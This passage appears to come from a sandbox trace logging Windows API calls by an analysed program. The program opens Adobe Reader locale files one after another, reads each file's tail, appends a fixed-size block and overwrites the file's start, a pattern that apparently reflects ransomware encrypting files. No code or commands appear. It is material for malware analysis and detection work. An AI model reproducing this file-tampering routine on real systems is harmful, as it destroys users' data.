ReleaseMutex (hMutex=0x128) returned 1 [0036.267] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.DEU", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0036.267] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.DEU", cchWideChar=10, lpMultiByteStr=0x1e631ec, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.DEU", lpUsedDefaultChar=0x0) returned 10 [0036.267] ReadFile (in: hFile=0x168, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.269] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x5200 [0036.269] ReadFile (in: hFile=0x168, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.272] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x5200 [0036.272] WriteFile (in: hFile=0x168, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.272] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0036.272] WriteFile (in: hFile=0x168, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0036.272] CloseHandle (hObject=0x168) returned 1 [0036.272] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Annots.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\annots.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0036.273] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0036.273] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x7ec00 [0036.273] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0036.273] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.273] ReleaseMutex (hMutex=0x128) returned 1 [0036.273] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.ESP", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0036.273] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.ESP", cchWideChar=10, lpMultiByteStr=0x1e630cc, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.ESP", lpUsedDefaultChar=0x0) returned 10 [0036.273] ReadFile (in: hFile=0x168, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2f4f278*=0x8000, lpOverlapped=0x0) returned 1 [0036.275] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x7dc00 [0036.275] ReadFile (in: hFile=0x168, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.277] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x7dc00 [0036.278] WriteFile (in: hFile=0x168, lpBuffer=0x2772358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772358*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.278] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0036.278] WriteFile (in: hFile=0x168, lpBuffer=0x2720cd8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2720cd8*, lpNumberOfBytesWritten=0x2f4f28c*=0x8000, lpOverlapped=0x0) returned 1 [0036.279] CloseHandle (hObject=0x168) returned 1 [0036.279] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\pddom.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\pddom.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0036.279] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0036.279] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x2c00 [0036.279] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0036.279] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.279] ReleaseMutex (hMutex=0x128) returned 1 [0036.279] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.ESP", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0036.279] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.ESP", cchWideChar=9, lpMultiByteStr=0x1e631ec, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.ESP", lpUsedDefaultChar=0x0) returned 9 [0036.279] ReadFile (in: hFile=0x168, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.281] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x1c00 [0036.281] ReadFile (in: hFile=0x168, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.282] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x1c00 [0036.282] WriteFile (in: hFile=0x168, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.282] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0036.282] WriteFile (in: hFile=0x168, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0036.283] CloseHandle (hObject=0x168) returned 1 [0036.283] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Spelling.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\spelling.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0036.284] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0036.284] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x2a00 [0036.284] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0036.284] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.284] ReleaseMutex (hMutex=0x128) returned 1 [0036.284] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.ESP", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.284] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.ESP", cchWideChar=12, lpMultiByteStr=0x1e630cc, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.ESP", lpUsedDefaultChar=0x0) returned 12 [0036.284] ReadFile (in: hFile=0x168, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.286] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x1a00 [0036.286] ReadFile (in: hFile=0x168, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.287] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x1a00 [0036.287] WriteFile (in: hFile=0x168, lpBuffer=0x1da5ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.287] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0036.287] WriteFile (in: hFile=0x168, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0036.287] CloseHandle (hObject=0x168) returned 1 [0036.287] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\DVA.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\dva.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0036.381] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0036.381] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x4a00 [0036.381] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0036.381] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.381] ReleaseMutex (hMutex=0x128) returned 1 [0036.381] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.EUQ", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0036.381] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.EUQ", cchWideChar=7, lpMultiByteStr=0x1e6a9fc, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.EUQ", lpUsedDefaultChar=0x0) returned 7 [0036.381] ReadFile (in: hFile=0x168, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.383] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x3a00 [0036.383] ReadFile (in: hFile=0x168, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.383] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x3a00 [0036.383] WriteFile (in: hFile=0x168, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.384] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0036.384] WriteFile (in: hFile=0x168, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0036.384] CloseHandle (hObject=0x168) returned 1 [0036.384] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\reflow.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\reflow.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0036.384] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0036.384] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x1200 [0036.384] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0036.384] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.384] ReleaseMutex (hMutex=0x128) returned 1 [0036.384] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.EUQ", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0036.384] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.EUQ", cchWideChar=10, lpMultiByteStr=0x1e631ec, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.EUQ", lpUsedDefaultChar=0x0) returned 10 [0036.384] ReadFile (in: hFile=0x168, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x2f4f2bc*=0x1200, lpOverlapped=0x0) returned 1 [0036.386] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0036.386] WriteFile (in: hFile=0x168, lpBuffer=0x1da5ed8*, nNumberOfBytesToWrite=0x1788, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesWritten=0x2f4f2d0*=0x1788, lpOverlapped=0x0) returned 1 [0036.386] CloseHandle (hObject=0x168) returned 1 [0036.386] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Acroform.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\acroform.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0036.387] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0036.387] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x63a00 [0036.387] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0036.387] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.387] ReleaseMutex (hMutex=0x128) returned 1 [0036.387] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.SUO", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.387] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.SUO", cchWideChar=12, lpMultiByteStr=0x1e6310c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.SUO", lpUsedDefaultChar=0x0) returned 12 [0036.387] ReadFile (in: hFile=0x168, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2f4f278*=0x8000, lpOverlapped=0x0) returned 1 [0036.389] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x62a00 [0036.389] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.391] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x62a00 [0036.391] WriteFile (in: hFile=0x168, lpBuffer=0x2772358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772358*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.392] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0036.392] WriteFile (in: hFile=0x168, lpBuffer=0x2720cd8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2720cd8*, lpNumberOfBytesWritten=0x2f4f28c*=0x8000, lpOverlapped=0x0) returned 1 [0036.392] CloseHandle (hObject=0x168) returned 1 [0036.392] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\makeaccessible.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\makeaccessible.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0036.392] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0036.392] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x12800 [0036.392] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0036.392] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.392] ReleaseMutex (hMutex=0x128) returned 1 [0036.392] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.SUO", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0036.392] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.SUO", cchWideChar=18, lpMultiByteStr=0x1e78bcc, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.SUO", lpUsedDefaultChar=0x0) returned 18 [0036.392] ReadFile (in: hFile=0x168, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0036.398] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x11800 [0036.398] ReadFile (in: hFile=0x168, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.403] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x11800 [0036.403] WriteFile (in: hFile=0x168, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.403] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0036.403] WriteFile (in: hFile=0x168, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0036.403] CloseHandle (hObject=0x168) returned 1 [0036.404] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\services\\dexshare.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0036.405] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0036.405] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x9299 [0036.405] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0036.405] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.405] 